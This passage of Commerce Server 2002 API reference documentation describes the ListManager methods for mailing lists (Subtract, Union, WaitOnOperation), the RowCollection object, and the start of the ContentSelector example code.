E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_LISTPROP_NOT_UPDATEABLE | [C++] 0x8C400013 [Visual Basic] &H8C400013 | The specified list property cannot be changed after the list has been created.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is usually used to change properties of a dynamic list, such as the table name, connection string, or SQL query from which a dynamic list is created.

The following properties may be set by this method:

  • list_name
  • list_description
  • list_userflags
  • list_err_limit (dynamic lists only)
  • list_query (dynamic lists only)
  • list_source (dynamic lists only)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.SetListProperty "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_userflags", 12)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Subtract Method [C++]

ListManager.Subtract Method [Visual Basic]

Use this method to subtract one mailing list from another mailing list, placing the result in a third list.

Definition

[C++]
HRESULT IListManager::Subtract(
 VARIANT srcList,
 VARIANT lessList,
 VARIANT resList,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Subtract(
 srcList As Variant,
 lessList As Variant,
 resList As Variant,
 errLimit As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the list from which elements will be subtracted.
srcList [Visual Basic]
A Variant that contains the ID or name of the list from which elements will be subtracted.
lessList [C++]
[in] A VARIANT that contains the ID or name of the less list.
lessList [Visual Basic]
A Variant that contains the ID or name of the less list.
resList [C++]
[in] A VARIANT that contains the ID or name of the list into which the results of the subtraction operation will be placed.
resList [Visual Basic]
A Variant that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column and thus, both the source (srcList parameter) and less (lessList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). Records from the source list that do not have duplicate e-mail addresses (rcp_email) in the less list are copied to the result (resList parameter) list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the subtraction operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Subtract "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Union Method [C++]

ListManager.Union Method [Visual Basic]

Use this method to produce a union of two mailing lists, placing the result in a third mailing list. A union is a combination of the two lists with any duplicates eliminated.

Definition

[C++]
HRESULT IListManager::Union(
 VARIANT srcList,
 VARIANT addList,
 VARIANT resList,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Union(
 srcList As Variant,
 addList As Variant,
 resList As Variant,
 errLimit As long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the source list.
addList [C++]
[in] A VARIANT that contains the ID or name of the add list.
addList [Visual Basic]
A Variant that contains the ID or name of the add list.
resList [C++]
[in] A VARIANT that contains the ID or name of the list into which the results of the union operation will be placed.
resList [Visual Basic]
A Variant that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column and thus, both the source (srcList parameter) and add (addList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). All the records from the source list are copied to the result (resList parameter) list. All records from the add list that do not have duplicate e-mail addresses (rcp_email) in the source list are also copied to the result list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the union operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Union "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::WaitOnOperation Method [C++]

ListManager.WaitOnOperation Method [Visual Basic]

Use this method to wait until an operation is complete or a specified time period has elapsed.

Definition

[C++]
HRESULT IListManager::WaitOnOperation(
 VARIANT varOpID,
 unsigned long timeout
);
[Visual Basic]
Sub WaitOnOperation(
 varOpID As Variant,
 Optional timeout As Long
)

Parameters

varOpID [C++]
[in] A VARIANT that specifies the ID of the operation upon which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
varOpID [Visual Basic]
A Variant that specifies the ID of the operation upon which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout [C++]
[in, optional] An unsigned long hat specifies a timeout. This method returns when either the specified operation completes, or when the number of seconds specified by the timeout parameter have elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
timeout [Visual Basic]
An optional Long that specifies a timeout. This method returns when either the specified operation completes, or when the number of seconds specified by timeout have elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_OPERATION_NOT_FOUND | [C++] 0x8C400004 [Visual Basic] &H8C400004 | The operation ID does not represent a currently running operation.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot be called from a scripting language such as VBScript or JScript on an ASP page. ASP pages must use alternative techniques when dealing with asynchronous operations and should never wait on them explicitly.

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

[C++]
  • Copy
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union
[Visual Basic]
  • Copy
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

[C++] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

[Visual Basic] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.WaitOnOperation "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", 900

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager Properties [C++]

ListManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ConnectionString | BSTR | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | long | Stores the current status of the ListManager object. This property is read-only.
[Visual Basic]
Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Long | Stores the current status of the ListManager object. This property is read-only.


IListManager::get_ConnectionString Property [C++]

ListManager.ConnectionString Property [Visual Basic]

The ConnectionString property is a read-only string that contains the database connection string the List Manager uses to store lists. This property is set by the Initialize method.

Definition

[C++]
Get method:
HRESULT IListManager::get_ConnectionString(
 BSTR* ConnectionString
);
[Visual Basic]
Property ConnectionString() As String

Parameters

[Visual Basic] None.

[C++]
ConnectionString [C++]
[out, retval] A pointer to a BSTR used to return the connection string.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::get_Status Property [C++]

ListManager.Status Property [Visual Basic]

The Status property is a read-only Long that contains the ListManager object status.

Definition

[C++]
Get method:
HRESULT IListManager::get_Status(
 long* Status
);
[Visual Basic]
Property Status() As Long

Parameters

Status [C++]
[out, retval] A pointer to a long is used to return the ListManager object status.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table shows the valid status codes and their descriptions.

Status | Value | Description
LMSTATUS_NEW | 0 | The ListManager object has been created but is not yet initialized.
LMSTATUS_READY | 1 | The ListManager object has been created and successfully initialized.
LMSTATUS_ERROR | -1 | The ListManager object failed to initialize.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


RowCollection Object [C++]

RowCollection Object [Visual Basic]

Use this object to access data contained in a ContentList object and its corresponding ContentListFactory object. Some RowCollection objects allow access to all of the rows in these objects. Other RowCollection objects allow access to a calculated subset of the rows in these objects.

ProgID: | Dependent (See the Remarks section for more information)
COM Class Name: | RowCollection
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IRowCollection
Interface ID Constant: | IID_IRowCollection
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IRowCollection interface to access to the methods and properties of a RowCollection object.

Methods

[C++]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.
[Visual Basic]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.

Properties

[C++]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.
[Visual Basic]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.

Remarks

[C++]

The RowCollection object is a dependent object. Obtain a pointer to the IRowCollection interface by calling one of the following methods:

  • IContentList::get_ActiveRows
  • IContentList::get_AllRows
  • IContentList::Search
  • IContentListFactory::get_AllRows
  • IContentListFactory::Search
[Visual Basic]

The RowCollection object is a dependent object. Obtain a reference to it using the following properties and methods:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search


IRowCollection Methods [C++]

RowCollection Methods [Visual Basic]

Methods

[C++]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.
[Visual Basic]
Method | Description
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.


IRowCollection::MoveFirst Method [C++]

RowCollection.MoveFirst Method [Visual Basic]

Use this method to set the current row to be the first row in a RowCollection object.

Definition

[C++]
HRESULT IRowCollection::MoveFirst(
);
[Visual Basic]
Sub MoveFirst()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveFirst

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::MoveNext Method [C++]

RowCollection.MoveNext Method [Visual Basic]

Use this method to set the current row to be the row that is one row beyond the current row. In other words, the next row in the collection.

Definition

[C++]
HRESULT IRowCollection::MoveNext(
);
[Visual Basic]
Sub MoveNext()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveNext

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection Properties [C++]

RowCollection Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.
[Visual Basic]
Property | Type | Description
_NewEnum | IUnknown | Allows iteration through the rows in the RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. This property is read-only.
Count | long | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | VARIANT_BOOL | Tracks whether the current row is beyond the actual number of rows in the RowCollection object. This property is read-only.
Fields | Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | long | Stores the position of the current row, starting from zero (0). This property is read-only.


IRowCollection::get__NewEnum Property [C++]

RowCollection._NewEnum Property [Visual Basic]

The read-only _NewEnum property provides a mechanism for enumerating through the rows in a RowCollection object using the Microsoft Visual Basic "for each Row in Collection" syntax. Each row in the collection is a Fields collection object that can be used to access the individual fields in the row.

Definition

[C++]
Get method:
HRESULT IRowCollection::get__NewEnum(
 IUnknown** _NewEnum
);
[Visual Basic]
Property _NewEnum() As IUnknown

Parameters

_NewEnum [C++]
[out,retval] When getting the property, an IUnknown interface pointer used to return a pointer to an IEnumVARIANT interface, which manages the iteration of the rows in the collection.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property exists so that the "for each Row in Collection" syntax in Microsoft Visual Basic can be used to iterate through the rows in a RowCollection object. This property is not accessed directly.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_Count Property [C++]

RowCollection.Count Property [Visual Basic]

The Count property is a read-only Long that contains the number of rows in the collection.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_Count(
 long* Count
);
[Visual Basic]
Property Count As Long

Parameters

Count [C++]
[out,retval] A long that contains the number of rows in the RowCollection object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_EOF Property [C++]

RowCollection.EOF Property [Visual Basic]

The EOF property is a read-only Boolean that returns True when the end of the collection has been reached.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_EOF(
 VARIANT_BOOL* EOF
);
[Visual Basic]
Property EOF() As Boolean

Parameters

EOF [C++]
[out,retval] A pointer to a VARIANT_BOOL used to return an indication of whether row iteration is complete.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_Fields Property [C++]

RowCollection.Fields Property [Visual Basic]

The Fields property is a read-only Fields collection object that contains the Field objects for the current row.

Definition

[C++]
Get method:
HRESULT IRowCollection::get_Fields(
 Fields** Fields
);
[Visual Basic]
Property Fields() As Fields

Parameters

Fields [C++]
[out,retval]A pointer to an ActiveX Data Objects (ADO) Fields object used to return the fields of the current row.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object associated with this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IRowCollection::get_RowNum Property [C++]

RowCollection.RowNum Property [Visual Basic]

The RowNum property is a read-only number that contains the position of the current row within the RowCollection object. Row positions begin at zero (0), not one (1).

Definition

[C++]
Get method:
HRESULT IRowCollection::get_RowNum(
 long* RowNum
);
[Visual Basic]
Property RowNum() As Long

Parameters

RowNum [C++]
[out,retval] A long used to return the position of the current row in the RowCollection object. Row positions begin at zero (0), not one (1).

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The value of this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

See Also

[C++] RowCollection Object

[Visual Basic] RowCollection Object


Example Code Targeting Objects

This section provides detailed examples of how to use the targeting object.

Examples

Example | Description
Code to Support the ContentSelector Object | Contains code to include in the Global.asa file to support the ContentSelection object.
Code to Execute the ContentSelector Object | Contains code to include in the Default.asp file that you use to create the ContentSelection object, code that you use with the GetContent method, and code you use to write ads to the Web page.
Code to Connect to the Expression Store | Describes how to connect to, and disconnect from, the Expression Store.
Code to Create an Evaluation Context | Describes how to create an evaluation context that contains the data for evaluating an expression against.
Code to Evaluate an Expression Stored as an XML Fragment | Describes how to evaluate an expression stored as an XML fragment.
Code to Create a New Expression | Describes how to create a new expression.
Code to Manipulate Expressions | Describes how to retrieve or delete expressions from the Expression Store, rename an expression, or translate between expression IDs and expression names.
Code to Evaluate a Single Expression | Describes how to evaluate a single expression.
Code to Evaluate Groups of Expressions | Describes how to create a stored evaluation context and evaluate groups of expressions against this common context.
Code to Import and Export Expressions | Describes how to import and export expressions.
Code to Initialize the ListManager Object | Describes how to create and initialize the ListManager object.
Code to Create a List | Describes how to create a list from a file.
Code to Manipulate Lists | Describes the operations performed on lists such has copy, subtract, union, and export, and the procedure to add and subtract a user from a list.
Code to Enumerate Available Lists | Describes how to retrieve and enumerate the available lists and set list properties, such as the list name and description.


Code to Support the ContentSelector Object

The following code shows how to initialize the Content Selection Framework (CSF), set up the CacheManager object and the Expression Evaluator, create an advertising pipeline, and configure the context for CSF ads.

The Global.asa file should include the following code:

<SCRIPT LANGUAGE=VBSCRIPT RUNAT=Server>

option explicit

' Initialize the Content Selection Framework.
Sub Application_OnStart

    ' Modify sConnStr to point to a valid Campaigns database.
    ' The Campaigns database can be created either by unpacking a site,
    ' such as blank.pup, or by running the campaign database creation
    ' scripts in the C:/Program Files/Microsoft Commerce Server/Site
    ' Create directory.
    const sConnStr = "provider=SQLOLEDB;Data Source=(local);Initial
    Catalog=Retail_commerce;Integrated Security='SSPI';"

    Dim oPipe, dCSFAdsContext
    Dim oExpressionEval, oCacheManager, dCacheConfig

    ' Set up CacheManager object.
    Set dCacheConfig = CreateObject("Commerce.Dictionary")
    dCacheConfig.ConnectionString = sConnStr
    Set oCacheManager = CreateObject("Commerce.CacheManager")
    oCacheManager.LoaderProgId("Ads") = "Commerce.CSFLoadAdvertisements"
    Set oCacheManager.LoaderConfig("Ads") = dCacheConfig
    oCacheManager.RefreshInterval("Ads") = 15 * 60 ' 15 minutes

    ' Create the Expression Evaluator and connect it to the database.
    Set oExpressionEval = CreateObject("Commerce.ExpressionEvaluator")
    Call oExpressionEval.Connect(sConnStr)

    ' Create CSF advertising context, a dictionary.
    Set dCSFAdsContext = CreateObject("Commerce.Dictionary")

    ' Create an advertising pipeline and add it to the context.
    Set oPipe = CreateObject("Commerce.OrderPipeline")
    ' Load the pipeline configuration
    oPipe.LoadPipe(Server.MapPath("Advertising.pcf"))
    ' Store a reference to the pipeline object in the Context
    ' dictionary.
    Set dCSFAdsContext("pipeline") = oPipe

    ' Other context configuration for CSF ads.
    dCSFAdsContext("RedirectUrl") = ".\redir.asp"
    ' Add a reference to an expression evaluator to the Context
    Set dCSFAdsContext("Evaluator") = oExpressionEval
    ' InitCacheManager, a routine that would appear elsewhere in the
    ' global.asa, returns a reference to a CacheManager object.
    Set dCSFAdsContext("CacheManager") = oCacheManager
    dCSFAdsContext("CacheName") = "Ads"

    ' Store a reference to the dCSFAdsContext dictionary in the
    ' Application collection.
    Set Application("CSFAdsContext") = dCSFAdsContext
End Sub

</SCRIPT>


Code to Execute the ContentSelector Object

The following code shows how ContentSelector objects are typically created, used to select the content through the GetContent method, and write that content to the Web page.

The following code should be included in a subroutine of an include file. For an example of how the ContentSelector object is used in the Solution Sites, see the files banner.inc and discount.asp located at <drive>:\Inetpub\wwwroot\<Solution Site name>\template\.

<%
    ' Create a ContentSelector object.
    Set CSO = Server.CreateObject("Commerce.ContentSelector")

